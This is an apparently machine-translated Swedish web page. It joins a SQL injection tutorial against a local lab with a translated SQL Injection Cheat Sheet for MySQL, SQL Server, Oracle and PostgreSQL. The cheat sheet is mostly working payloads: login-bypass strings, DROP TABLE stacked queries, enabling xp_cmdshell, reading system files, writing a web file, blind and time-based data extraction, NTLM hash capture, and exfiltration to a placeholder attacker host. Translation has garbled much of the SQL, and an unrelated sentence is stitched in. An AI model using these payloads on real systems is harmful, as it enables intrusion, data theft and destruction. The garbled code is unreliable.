Låt oss lägga ett citat i vår fråga, efter det här citatet sätter vi ett kommentarsmärke för att kasta svansen och + -tecknet, som betecknar ett mellanslag, så att frågan blir så här:

VÄLJ * FRÅN 'medlemmar' VAR namn = "Demo"- +"OCH lösenord =" 111 "

Adressfält:

http: //localhost/test/mysql-inj-lab1/index.php? name = Demo ’- + & password = 111

Felet har inte bara försvunnit, utan rätt data har visats för Demo-användaren. Sedan nu har vår förfrågan fått formen

VÄLJ * FRÅN 'members` WHERE name = "Demo"

eftersom hästsvansen - + ‘OCH lösenord =’ 111 ’ förvandlades till en kommentar och påverkar inte längre begäran.

Titta noga på den nya begäran igen:

VÄLJ * FRÅN 'members` WHERE name = "Demo"

Och det kontrollerar inte längre lösenordet! De där. genom att känna till namnen på legitima användare, men inte känna till deras lösenord, kan vi se deras personuppgifter. De där. vi har redan börjat utnyttja SQL-injektion.

Tyvärr känner jag inga legitima namn och jag måste komma på något annat.

Låt oss ta en närmare titt på den här delen av begäran:

VAR namn = "Demo"

Kommer du ihåg OCH som används i den första frågan? Det betyder logiska OCH operationer. Låt mig påminna dig om att den logiska operationen "OCH" producerar "sant" (1) endast om båda uttrycken är sanna. Men den logiska operatorn "ELLER" returnerar "true" (1) även om minst ett av uttrycken är sant. De där. uttryck

VAR namn = "Demo" ELLER 1

kommer alltid att vara sant, kommer alltid att returnera 1. Eftersom en av de två jämförda uttrycken alltid returnerar 1.

De där. vi måste skriva ett uttryck som kommer att se ut så här:

VÄLJ * FRÅN 'medlemmar' VAR namn = "Demo" ELLER 1

Adressfält:

http: //localhost/test/mysql-inj-lab1/index.php? name = Demo ’ELLER 1 - + & lösenord = 111

Resultat:

Resultatet är utmärkt! Vi fick en lista över alla poster i tabellen.

ORDER BY och UNION är de främsta vännerna till SQL-injektion

Vi har redan fått data som inte var tillgängliga för dem som inte har ett giltigt användarnamn och lösenord. Finns det något annat du kan få? Ja, du kan få en fullständig dumpning av den här tabellen (kom ihåg att vi fortfarande inte har några lösenord. Dessutom kan vi hämta all data från alla databaser på den här servern genom ett litet hål!

UNION låter dig kombinera SQL -frågor. I verkligheten är mina uppgifter enkla, det är därför jag inte använder enkla frågor till databaser och UNION -funktioner. Men för SQL -injektion är detta ord inte mer värdefullt.

UNION låter dig kombinera SQL-frågor med SELECT ganska flexibelt, inklusive de från olika databaser. Men det finns ett viktigt syntaxkrav: antalet kolumner i den första SELECT måste vara lika med antalet kolumner i den andra SELECT.

ORDER BY anger sorteringen av data som tas emot från tabellen. Du kan ställa in sortering efter kolumnnamnet eller efter dess nummer. Om det inte finns någon kolumn med detta nummer visas ett fel:

Adressfält:

http: //localhost/test/mysql-inj-lab1/index.php? name = -1 ′ ORDER BY 1 - + & password = 111

Förfrågan ser ut så här:

VÄLJ * FRÅN 'medlemmar' VAR namn = "-1" BESTÄLLNING AV 1

Vi ändrade användarnamnet till -1 så att ingen data visas.

Det finns inget fel, det finns inte heller något fel när du gör förfrågningar

VÄLJ * FRÅN 'medlemmar' VAR namn = "-1" BESTÄLLNING AV 2 VÄLJ * FRÅN "medlemmar" VAR namn = "-1" BESTÄLLNING AV 3 VÄLJ * FRÅN "medlemmar" VAR namn = "-1" BESTÄLLNING AV 4 VÄLJ * FRÅN `medlemmar` WHERE namn =" -1 "BESTÄLL SENAST 5

Och här är förfrågan

VÄLJ * FRÅN `medlemmar` VAR namn =" -1 "BESTÄLL SENAST 6

den motsvarar adressraden

http: //localhost/test/mysql-inj-lab1/index.php? namn = -1 " BESTÄLL EFTER 6 - + & lösenord = 111

Gav ett fel

Fel: Okänd kolumn "6" i "ordningsklausul"

Detta innebär att data i fem kolumner väljs från tabellen.

Vi konstruerar vår fråga med UNION:

Antalet fält ska som sagt vara detsamma i båda SELECT, men vad som finns i dessa fält är inte särskilt viktigt. Du kan till exempel skriva bara siffror - och de kommer att visas. Du kan skriva NULL - då visas ingenting istället för fältet.

VÄLJ * FRÅN 'medlemmar' VAR namn = "-1" FÖRENING VÄLJ 1,2,3,4,5

Adressfält:

http: //localhost/test/mysql-inj-lab1/index.php? name = -1 ′ UNION SELECT 1,2,3,4,5 - + & password = 111

Ett annat sätt att hitta antalet kolumner är att använda samma UNION. Lägg till antalet kolumner med hjälp av en stege:

SELECT * FROM `members` WHERE name =" -1 "UNION SELECT 1 SELECT * FROM` members` WHERE name = "-1" UNION SELECT 1,2 SELECT * FROM `members` WHERE name =" -1 "UNION SELECT 1 , 2,3 SELECT * FROM `members` WHERE name =" -1 "UNION SELECT 1,2,3,4

Alla kommer att kasta samma fel:

Fel: De använda SELECT-satserna har ett annat antal kolumner

Gör detta tills felmeddelandet försvinner.

Observera att innehållet i vissa UNION SELECT 1,2,3,4,5 fält visas. Funktioner kan ställas in istället för siffror.

Vad ska man skriva i SELECT

Det finns några funktioner som kan skrivas direkt till UNION:

  • DATABASE ()- visa namnet på den aktuella databasen
  • NUVARANDE ANVÄNDAREN ()- visar användarnamn och värdnamn
  • @@ datadir- visar den absoluta sökvägen till databasen
  • ANVÄNDARE ()- Användarnamn
  • VERSION ()- databasversion

I vårt exempel visas fält 2, 4 och 5. vi kan använda något av dessa fält.

Använda DATABASE () i UNION SELECT

http: //localhost/test/mysql-inj-lab1/index.php? namn = -1 ′ UNION SELECT 1,2,3,4, DATABAS () - + & lösenord = 111

Resultat:

Använder CURRENT_USER () i UNION SELECT

http: //localhost/test/mysql-inj-lab1/index.php? name = -1 ′ UNION SELECT 1,2,3,4, CURRENT_USER () - + & password = 111

Resultat:

Använda @@ datadir i UNION SELECT

http: //localhost/test/mysql-inj-lab1/index.php? name = -1 ′ UNION SELECT 1,2,3,4, @@ datadir - + & password = 111

Resultat:

Hämta tabellnamn, fält och databasdump

I databasen informationsschema det finns ett bord som heter bord... Den här tabellen innehåller en lista över alla tabeller som finns i alla databaser på denna server. Vi kan välja ut våra bord genom att titta i fältet tabell_schema namnet på vår databas är 'db_library' (vi lärde oss namnet med DATABASE ()).

Detta kallas den fullständiga UNION-tekniken. Det finns mycket material om det på Internet. Den fullständiga UNION-tekniken fungerar inte på min MySQL-server. Jag får ett felmeddelande

Fel: Olaglig blandning av kollationer för operation "UNION"

Det fungerar inte på grund av armarnas krökning, eftersom denna teknik inte heller fungerar för sqlmap:

Något gick fel med hela UNION -tekniken (kan bero på begränsning av hämtat antal poster). Faller tillbaka till partiell UNION-teknik

Det kan vara relaterat till MySQL 5.6 -versionen. Eftersom Jag kan inte ge praktiska exempel, och jag är inte intresserad av att skriva om andras icke -fungerande team - nu finns det så många "stora teoretiker" som du vill ha på Internet utan mig, så jag bestämde mig för att gå direkt till övervägandet av den partiella UNION teknik. Men det här är inte den enklaste tekniken, och artikeln har redan visat sig vara ganska stor.

ps åh ja, jag glömde bort LIMIT. Jag kommer också att prata om rollen som LIMIT i SQL-injektion nästa gång.

Garanten är en betrodd mellanhand mellan deltagarna i transaktionen.



SQL Injection Cheat Sheet är utformat för att sammanfatta de tekniska egenskaperna hos olika typer av SQL-injektionssårbarheter. Artikeln presenterar funktionerna i SQL-injektion i MySQL, Microsoft SQL Server, ORAKEL och PostgreSQL.

0. Inledning
I den här artikeln kan du hitta detaljerad teknisk information om de olika typerna av SQL-injektion. Det kan vara användbart för både erfarna specialister och nybörjare inom området informationssäkerhet.

För tillfället innehåller fuskbladet information endast för MySQL, Microsoft SQL Server och en del data för ORACLE och PostgreSQL. Avsnitt innehåller syntax, förklaring och injektionsexempel.

Använd notation:
M (MySQL);
S (SQL Server);
O (Oracle);
P (PostgreSQL);
+ (möjligen på andra databaser);
* (särskilda villkor krävs).

1. Linjekommentarer
Kommentarer är generellt användbara för att ignorera delar av en begäran.
Syntax:
- (SM): DROP provtagningsbar; -
# (M): DROP sampletable; #
Exempel:
Användarnamn: admin "-
Genererad fråga: VÄLJ * FRÅN medlemmar VAR användarnamn = "admin" - "OCH lösenord =" lösenord "
Detta gör att du kan logga in som administratörsanvändare och ignorera lösenordskontrollen.

2. Blockera kommentarer
Med deras hjälp kan du ignorera en del av begäran, ersätta mellanslag, kringgå svartlistor, bestämma versionen av databasen.
Syntax:
/ * Kommentar * / (SM):
DROP / * kommentar * / sampletable
DR / ** / OP / * traversal_black_list * / sampletable
SELECT / * space_replace * / password / ** / FROM / ** / Members

/*! MYSQL Special SQL * / (M): SELECT / *! 32302 1/0, * / 1 FROM tabellnamn
Detta är en MySQL-specifik kommentarsyntax. Det låter dig upptäcka din MySQL -version. Den här kommentaren fungerar bara i MySQL.
Exempel:
ID: 10; DROP TABLE medlemmar / *
Vi ignorerar resten av begäran, samt en radkommentar.

ID: / *! 32302 10 * /
du får samma svar som med ID = 10 om MySQL -versionen är högre än 3.23.02

ID: / *! 32302 1/0, * /
Genererad fråga: SELECT / *! 32302 1/0, * / 1 FRÅN tabellnamn
Division med 0 -fel uppstår om servern har en MySQL -version högre än 3.23.02

3. Sekvens av förfrågningar
Låter dig utföra mer än en begäran i taget. Detta är användbart vid varje injektionspunkt.


Grön - stöds; svart - stöds inte; grå - okänd.
Syntax:
; (S): VÄLJ * FRÅN medlemmar; DROP-medlemmar--
En begäran har slutat, den andra har börjat.
Exempel:
ID: 10; DROP-medlemmar -
Genererad fråga: VÄLJ * FRÅN produkter VAR id = 10; DROP-medlemmar--
Denna fråga tappar medlemstabellen efter en vanlig fråga.

4. Villkorliga uttalanden
Vi kommer att få svar på begäran om villkoret är uppfyllt. Detta är en av nyckelpunkterna för blind injektion. De hjälper också till att exakt kontrollera enkla saker.
Syntax:
IF (villkor, sann-del, falsk-del) (M): VÄLJ OM (1 = 1, "true", "false")
OM villkoret true-part ELSE false-part (S): IF (1 = 1) SELECT "true" ELSE SELECT "false"
OM skick DÅ true-del; ELSE falsk del; SLUT OM; SLUTET; (O): OM (1 = 1) DÅ dbms_lock.sleep (3); ELSE dbms_lock.sleep (0); SLUT OM; SLUTET;
SELECT CASE WHEN condition THEN true-part ELSE false-part END; (P): VÄLJ FALL NÄR (1 = 1) Därefter "A" ELLER "B" SLUT;
exempel:
om ((välj användare) = "sa" ELLER (välj användare) = "dbo") välj 1 annan välj 1/0 (S)
kommer att kasta en division med noll fel om den nuvarande användaren inte är "sa" eller "dbo".

5. Använda siffror
Används för att kringgå magic_quotes () och liknande filter, inklusive WAF.
Syntax:
0xHEX_NUMBER (SM):
VÄLJ CHAR (0x66) (S)
VÄLJ 0x5045 (detta är inte ett tal, utan en sträng) (M)
VÄLJ 0x50 + 0x45 (detta är nu ett nummer) (M)
Exempel:
VÄLJ LOAD_FILE (0x633A5C626F6F742E696E69) (M)
Visar innehållet i filen c: \ boot.ini

6. Stränganslutning
Radoperationer kan hjälpa dig att kringgå filter eller definiera en databas.
Syntax:
+ (S): VÄLJ inloggning + "-" + lösenord FRÅN medlemmar
|| (* MO): VÄLJ inloggning || "-" || lösenord FRÅN medlemmar
Fungerar om MySQL körs i ANSI -läge. Annars kommer MySQL inte att acceptera det som en boolesk operator och kommer att returnera 0. Det är bättre att använda CONCAT ()-funktionen i MySQL.

CONCAT (str1, str2, str3, ...) (M): VÄLJ CONCAT (inloggning, lösenord) FRÅN medlemmar

7. Rader utan citattecken
Det finns flera sätt att undvika att använda citattecken i en fråga, till exempel med CHAR () (MS) och CONCAT () (M).
Syntax:
VÄLJ 0x457578 (M)

MySQL har ett enkelt sätt att hexa en sträng:
VÄLJ CONCAT ("0x", HEX ("c: \\ boot.ini"))

Returnerar strängen “KLM”:
VÄLJ CONCAT (CHAR (75), CHAR (76), CHAR (77)) (M)
VÄLJ CHAR (75) + CHAR (76) + CHAR (77) (S)
VÄLJ CHR (75) || CHR (76) || CHR (77) (O)
VÄLJ (CHaR (75) || CHaR (76) || CHaR (77)) (P)

8. Konvertering av strängar och tal.
Syntax:
ASCII () (SMP): VÄLJ ASCII ("a")
Returnerar ASCII -koden för tecknet längst till vänster. Funktionen används för blinda injektioner.

CHAR () (SM): VÄLJ CHAR (64)
Översätter ASCII-koden till motsvarande tecken.

9. UNION-operatör
Med UNION -operatören kan du fråga om skärningspunkten mellan tabeller. I grund och botten kan du skicka en fråga som returnerar ett värde från en annan tabell.
Exempel:
VÄLJ rubrik, txt FRÅN nyheter UNION ALL SELECT namn, skicka FRÅN medlemmar
Detta kommer att kombinera resultaten från nyheterna och medlemstabellerna.

10. Autentisering Bypass (SMO +)
Exempel:
admin "-
admin "#
admin "/ *
"eller 1 = 1--
"eller 1 = 1 #
"eller 1 = 1 / *
") eller" 1 "=" 1--
") eller (" 1 "=" 1--

11. Bypass -autentisering med MD5
Om programmet först jämför användarnamnet och sedan jämför lösenordets md5 -hash behöver du ytterligare knep för att kringgå autentiseringen. Du kan kombinera resultaten med ett känt lösenord och dess hash.
Exempel (MSP):
Användarnamn: admin
Lösenord: 1234 "OCH 1 = 0 UNION ALL SELECT" admin ","
= MD5 (1234)

12. Felbaserat
12.1 Definiera kolumner med HAVING BY (S)
Exempel:
I samma ordning
"HA 1 = 1 -
"GROUP BY table.columnfromerror1 HAVING 1 = 1 -
"GRUPPA EFTER table.columnfromerror1, columnfrommerror2 HAR 1 = 1 -
"GRUPPA EFTER table.columnfrommerror1, columnfrommerror2, columnfrommerror3 HAR 1 = 1 -
…………….
Fortsätt tills du slutar få fel.

12.2 Bestämning av antalet kolumner med ORDER BY (MSO +)
Att hitta antalet kolumner med ORDER BY kan påskyndas med hjälp av UNION -injektion.
BESTÄLL MED 1--
BESTÄLL MED 2--
BESTÄLL AV 3-
………………..
Fortsätt tills du får ett felmeddelande. Detta indikerar antalet kolumner.

13. Datatypsdefinition
Använd alltid UNION med ALL.
För att bli av med en onödig post i tabellen, använd -1 eventuella icke-existerande värden i början av frågan (om injektion är i parametern WHERE). Detta är viktigt om du bara kan hämta ett värde åt gången.
Använd NULL i UNION-injektion istället för att försöka gissa en sträng, datum, nummer, etc. Men var försiktig med blindinjektion, som du kan blanda ihop felet i DB och själva applikationen. Vissa språk, till exempel ASP.NET, ger ett fel när man använder ett NULL -värde (eftersom utvecklarna inte förväntade sig att se ett nollvärde i användarnamnfältet)
Exempel:
"fackföreningens summa (kolumn) från användare-- (S):
Om du inte får något felmeddelande är kolumnen numerisk.

VÄLJ * FRÅN tabell 1 WHERE id = -1 UNION ALLA VÄLJ null, null, NULL, NULL, konvertera (bild, 1), null, null, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL -
Du kan använda CAST () eller KONVERTERA ()

11223344) UNION SELECT NULL, NULL, NULL, NULL WHERE 1 = 2 –-
Om det inte finns något fel så är syntaxen korrekt, d.v.s. används av MS SQL Server.

11223344) UNION SELECT 1, NULL, NULL, NULL WHERE 1 = 2 –-
Om det inte finns något fel är den första kolumnen ett nummer.

11223344) UNION SELECT 1,2, NULL, NULL VAR 1 = 2 -
Om ett fel uppstår är den andra kolumnen inte en siffra.

11223344) UNION SELECT 1, '2', NULL, NULL WHERE 1 = 2 –-
Om det inte finns något fel är den andra kolumnen en rad.
……………..

14. Enkel insats (MSO +)
Exempel:
"; infoga i användarvärden (1," hax0r "," coolpass ", 9) / *

15. Insamling av information
Syntax:
@@ version (MS)
Du kan kontrollera DB-versionen och mer information.
Exempel:
INSERT INTO members (id, user, pass) VÄRDEN (1, "" + SUBSTRING (@@ version, 1,10), 10)

16. Komplex insats (S)
Gör att du kan infoga innehållet i en fil i en tabell. Om du inte känner till webbapplikationens interna sökväg kan du läsa IIS -metabasen (endast IIS 6).
Syntax:
fil (% systemrot% \ system32 \ inetsrv \ MetaBase.xml)
Då kan du hitta applikationsvägarna i den.
Exempel:
1. Skapa table foo (sträng av varchar (8000) typ)
2. Infoga innehållet i filen 'c: \ inetpub \ wwwroot \ login.asp' i tabell foo
3. Släpp det tillfälliga bordet och upprepa för en annan fil.

17. BCP (S)
Skriver en textfil. Detta kräver meriter.
Exempel:
bcp "SELECT * FROM test..foo" queryout c: \ inetpub \ wwwroot \ runcommand.asp -c -Slocalhost -Usa -Pfoobar

18.VBS, WSH i SQL Server (S)
Du kan använda VBS-, WSH -skript i SQL Server.
Exempel:
Användarnamn: "; förklara @o int exec sp_oacreate" wscript.shell ", @o out exec sp_oamethod @o," kör ", NULL," notepad.exe "-

19. Utförande av systemkommandon (S)
Välkänt knep, funktionen är inaktiverad som standard i SQL Server 2005. Du behöver administratörsrättigheter.
Exempel:
EXEC master.dbo.xp_cmdshell "cmd.exe dir c:"
EXEC master.dbo.xp_cmdshell "ping"

20. Specialtabeller i SQL Server (S)
Exempel:
Felmeddelanden: master..sysmessages
Länkade servrar: master..sysservers
Lösenord SQL Server 2000: masters..sysxlogins
Lösenord SQL Server 2005: sys.sql_logins

21. Flera lagrade procedurer för SQL Server (S)
Syntax:
Cmd Execute (xp_cmdshell)
Registergrejer (xp_regread):
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
Hantera tjänster (xp_servicecontrol)
Medier (xp_availablemedia)
ODBC -resurser (xp_enumdsn)
Inloggningsläge (xp_loginconfig)
Skapa hyttfiler (xp_makecab)
Domänuppräkning (xp_ntsec_enumdomains)
Process Killing (PID krävs) (xp_terminate_process)
Lägg till ett nytt förfarande (sp_addextendedproc)
Skriv textfil till en UNC eller en intern sökväg (sp_makewebtask)
Exempel:
exec xp_regread HKEY_LOCAL_MACHINE, "SYSTEM \ CurrentControlSet \ Services \ lanmanserver \ parameters", "nullsessionshares"
exec xp_regenumvalues ​​HKEY_LOCAL_MACHINE, "SYSTEM \ CurrentControlSet \ Services \ snmp \ parameters \ validcommunities"
sp_addextendedproc 'xp_webserver', 'c: \ temp \ x.dll'
exec xp_webserver

22. MSSQL Bulk Notes
Exempel:
VÄLJ * FRÅN master ... systemprocesser / * VAR [e-postskyddad]@ SPID * /
DEKLARERA @result int; EXEC @result = xp_cmdshell "dir * .exe"; IF (@result = 0) SELECT 0 ELSE SELECT 1/0
HOST_NAME ()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)
INSERT tbl EXEC master..xp_cmdshell OSQL / Q "DBCC SHOWCONTIG"
OPENROWSET (Transact-SQL)-http://msdn2.microsoft.com/en-us/library/ms190312.aspx

23. SQL -injektion i LIMIT (M) -frågor
Exempel:
VÄLJ id, produkt FRÅN test.test LIMIT 0,0 UNION ALL SELECT 1, "x" / *, 10;
För att komma runt LIMIT-satsen kan du använda UNION eller en kommentar.

24. Avstängning av SQL Server (S)
Exempel:
"; stänga av -

25. Aktivera xp_cmdshell i SQL Server 2005
Syntax:
Som standard är xp_cmdshell och ett par andra potentiellt farliga funktioner inaktiverade i SQL Server 2005. Som administratör kan du aktivera dem.
EXEC sp_configure "visa avancerade alternativ", 1
KONFIGURERA
EXEC sp_configure "xp_cmdshell", 1
KONFIGURERA OM

26. Söka databasstrukturen i SQL Server (S)
Exempel:
VÄLJ namn FRÅN sysobjects WHERE xtype = "U"

SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = "tabellnamnförkolumnnamn")
Hämtar kolumnrubriker

27. Flytta poster (S)
Exempel:
... WHERE users NOT IN ("Första användare", "Andra användare")
Använd WHERE med NOT IN eller NOT EXIST

VÄLJ TOPP 1 namn FRÅN medlemmar VAR INTE FÖRSTÅ (VÄLJ TOPP 0 namn FRÅN medlemmar)

SELECT * FROM Product WHERE ID = 2 AND 1 = CAST ((Välj p.namn från (SELECT (SELECT COUNT (i.id) AS rid off sysobjects i WHERE i.id)<=o.id)
AS x, namn från sysobjects o) som p där p.x = 3) som int

Välj p.namn från (SELECT (SELECT COUNT (i.id) AS rid from sysobjects i WHERE xtype = "U" och i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = "U") as p where p.x=21

28. Ett snabbt sätt att extrahera data från felbaserad SQL-injektion i SQL Server (S)
"; BÖRJA DEKLARERA @rt varchar (8000) SET @ rd =": "VÄLJ @ [e-postskyddad]+ "" + namn FRÅN syskolumner WHERE id = (VÄLJ ID FRÅN sysobjects WHERE namn = "MEMBERS") OCH namn> @rd SELECT @rd AS rd in i TMP_SYS_TMP-slutet; -

29. Söker databasstrukturen i MySQL (M)
Exempel:
VÄLJ tabellnamn FRÅN information_schema.tables WHERE table_schema = "tablename"
Hämtar anpassade tabeller

VÄLJ tabellnamn, kolumnnamn FRÅN informationsschema.kolumner WHERE tabellschema = "tabellnamn"
Hämtar kolumnrubriker

30. Söka i databasstrukturen i Oracle (O)
Exempel:
SELECT * FROM all_tables WHERE OWNER = "DATABASE_NAME"
Hämtar anpassade tabeller

SELECT * FROM all_col_comments WHERE TABLE_NAME = "TABELL"
Hämtar kolumnrubriker

31. Blind injektion
I en kvalitetsapp kommer du inte att kunna se felmeddelanden. Du kommer inte att kunna använda UNION-operatören och felbaserade attacker. Du måste använda blind SQL -injektion för att hämta data. Det finns två typer av blinda injektioner.
Vanlig blindinjektion: Du kan inte se resultaten av förfrågningar på sidan, men du kan bestämma resultatet från svaret eller HTTP -status.
Helblind injektion: Du kommer inte att se någon skillnad i uteffekten.
Vid normala blinda injektioner kan man använda IF- och WHERE-satser, vid helt blinda injektioner behöver man använda vissa väntefunktioner och jämföra svarstider. För att göra detta kan du använda WAIT FOR DELAY '0: 0: 10' i SQL Server, BENCHMARK () och sleep (10) i MySQL, pg_sleep (10) i PostgreSQL.
Exempel:
Detta exempel är baserat på ett verkligt utnyttjande av blindinjektion på SQL Server.

TRUE: VÄLJ ID, Användarnamn, E-postadress FRÅN VAR ID = 1 OCH ISNULL (ASCII (SUBSTRING ((VÄLJ TOP 1 namn FRÅN sysObjects WHERE xtYpe = 0x55 OCH namn INTE IN (VÄLJ TOP 0 namn FRÅN sysObjects WHERE xtYpe = 0x55)), , 1)), 0)> 78--

FALSKT: VÄLJ ID, användarnamn, e -post FROM WHERE ID = 1 AND ISNULL (ASCII (SUBSTRING ((SELECT TOP 1 name FROM sysObjects WHERE xtYpe = 0x55 AND name NOT IN (SELECT TOP 0 name FROM sysObjects WHERE xtYpe = 0x55)), , 1)), 0)> 103--

FALSKT: VÄLJ ID, användarnamn, e -post FROM WHERE ID = 1 AND ISNULL (ASCII (SUBSTRING ((SELECT TOP 1 name FROM sysObjects WHERE xtYpe = 0x55 AND name NOT IN (SELECT TOP 0 name FROM sysObjects WHERE xtYpe = 0x55)), , 1)), 0)> 89--

FALSK: VÄLJ ID, Användarnamn, E-postadress FRÅN VAR ID = 1 OCH ISNULL (ASCII (SUBSTRING ((VÄLJ TOP 1 namn FRÅN sysObjects WHERE xtYpe = 0x55 OCH namn INTE IN (VÄLJ TOP 0 namn FRÅN sysObjects WHERE xtYpe = 0x55)), , 1)), 0)> 83--

TRUE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL (ASCII (SUBSTRING ((SELECT TOP 1 name FROM sysObjects WHERE xtYpe = 0x55 AND name NOT IN (SELECT TOP 0 name FROM sysObjects WHERE xtYpe = 0x55)), , 1)), 0)> 79--

FALSK: VÄLJ ID, Användarnamn, E-postadress FRÅN VAR ID = 1 OCH ISNULL (ASCII (SUBSTRING ((VÄLJ TOP 1 namn FRÅN sysObjects WHERE xtYpe = 0x55 OCH namn INTE IN (VÄLJ TOP 0 namn FRÅN sysObjects WHERE xtYpe = 0x55)), , 1)), 0)> 80--

Baserat på de två sista frågorna vet vi med säkerhet att värdet på det första tecknet i ascii är 80. Så det första tecknet är "P". Således kan vi ta reda på namnen på tabellerna och deras innehåll. Ett annat sätt är att läsa data bit för bit.

32. Helt blind injektion
Använd denna metod endast för verkligt blind injektion. Var försiktig med latens.
Syntax:
Vänta på fördröjning "tid"
Funktionen väntar helt enkelt på den angivna tiden utan att ladda processorn.
Exempel:
if (välj användare) = "sa" vänta på fördröjning "0: 0: 10"
Produkt-ID = 1; vänta på fördröjning "0: 0: 10" -
ProductID = 1); vänta på fördröjning "0: 0: 10" -
ProductID = 1 "; vänta på fördröjning" 0: 0: 10 "-
ProductID = 1 "); vänta på fördröjning" 0: 0: 10 "-
ProductID = 1)); vänta på fördröjning "0: 0: 10" -
ProductID = 1 ")); vänta på fördröjning" 0: 0: 10 "-
Syntax:
BENCHMARK (hur många gånger, gör detta) (M)
Exempel:
OM DET FINNS (VÄLJ * FRÅN användare VAR användarnamn = "root") BENCHMARK (1000000000, MD5 (1))
Vi kontrollerar närvaron av root-användaren.

OM (VÄLJ * FRÅN inloggning) BENCHMARK (1000000, MD5 (1))
Letar efter ett bord i MySQL
Syntax:
pg_sleep (sekunder) (P)
Sov i angivna sekunder.

sömn (sekunder) (M)
sova i medföljande sekunder.

bms_pipe.receive_message (O)
sova i tillgivna sekunder.
Exempel:
(VÄLJ CASE NÄR (NVL (ASCII (SUBSTR (((INJECTION)), 1,1)), 0) = 100) DAN dbms_pipe.receive_message (("xyz"), 10) ELSE dbms_pipe.receive_message (("xyz" ), 1) SLUT FRÅN dubbel)
(INJEKTION) är din begäran.
Om villkoret är sant kommer svaret att vara 10 sekunder. Annars blir svaret 1 sekund.

33. Användbara MySQL-funktioner
Syntax:
MD5 ()
SHA1 ()
LÖSENORD ()
KODA ()
KOMPRESSA ()
ROW_COUNT ()
SCHEMA ()
VERSION ()

34. Andra ordningens SQL -injektioner
Vanligtvis infogar du en SQL-injektionsfråga i ett fält och förväntar dig att den inte ska filtreras.
Exempel:
Namn: " + (VÄLJ TOPP 1 lösenord FRÅN användare) +"
E-post: [e-postskyddad]
Om programmet använder fältnamnet för en lagrad procedur eller funktion kan du använda det för injektion.

35. Använda SQL Server för att hämta NTLM-hashar
Denna attack hjälper till att få Windows-användarlösenordet för målservern via SQL Server om det inte finns någon extern åtkomst. Vi kan tvinga SQL Server att ansluta till Windows med hjälp av en UNC-sökväg och hämta NTLM-sessionen med specialverktyg som Cain & Abel.

Syntax:
UNC -sökväg: "\\ YOURIPADDRESS \ C $ \ x.txt"
36. Andra exempel på injektioner
SQL Server:
vulnerableParam = 1; VÄLJ * FRÅN OPENROWSET ("SQLOLEDB", ((INJECTION)) + ". Yourhost.com"; "sa"; "pwd", "SELECT 1")

? sårbarParam = 1; DEKLARERA @q varchar (1024); SET @q = "\\" + ((INJEKTION)) + ". Yourhost.com \\ test.txt"; EXEC master..xp_dirtree @q
skapar en DNS-begäran till (INJECTION) .yourhost.com

(INJEKTION) är din begäran.
MySQL:
? vulnerableParam = -99 ELLER (VÄLJ LOAD_FILE (concat ("\\\\", ((INJECTION)), "yourhost.com \\")))
Skapar NBNS / DNS -begäran till yourhost.com
? sårbarParam = -99 ELLER (VÄLJ ((INJEKTION)) I UTFIL "\\\\ yourhost.com \\ share \\ output.txt")
Skriver data till din fil
(INJEKTION) är din begäran.
Orakel:
? sårbarParam = (VÄLJ UTL_HTTP.REQUEST ("http: // host / sniff.php? sniff =" || ((INJEKTION)) || "") FRÅN DUAL)
Sniffaren kommer att spara resultaten
? vulnerableParam = (VÄLJ UTL_HTTP.REQUEST ("http: // värd /" || ((INJEKTION)) || ".html") FRÅN DUBBEL)
Resultaten kommer att sparas HTTP-loggar
? sårbarParam = (VÄLJ UTL_INADDR.get_host_addr (((INJEKTION)) || ".dinhost.com") FRÅN DUAL)

? sårbarParam = (VÄLJ SYS.DBMS_LDAP.INIT (((INJEKTION)) || ’.dinhost.com’, 80) FRÅN DUAL)
Du måste analysera trafiken för DNS -förfrågningar till yourhost.com
(INJEKTION) är din begäran.

Detta material är en adaptiv översättning av SQL Injection Cheat Sheet -artikeln.







2021 gtavrl.ru.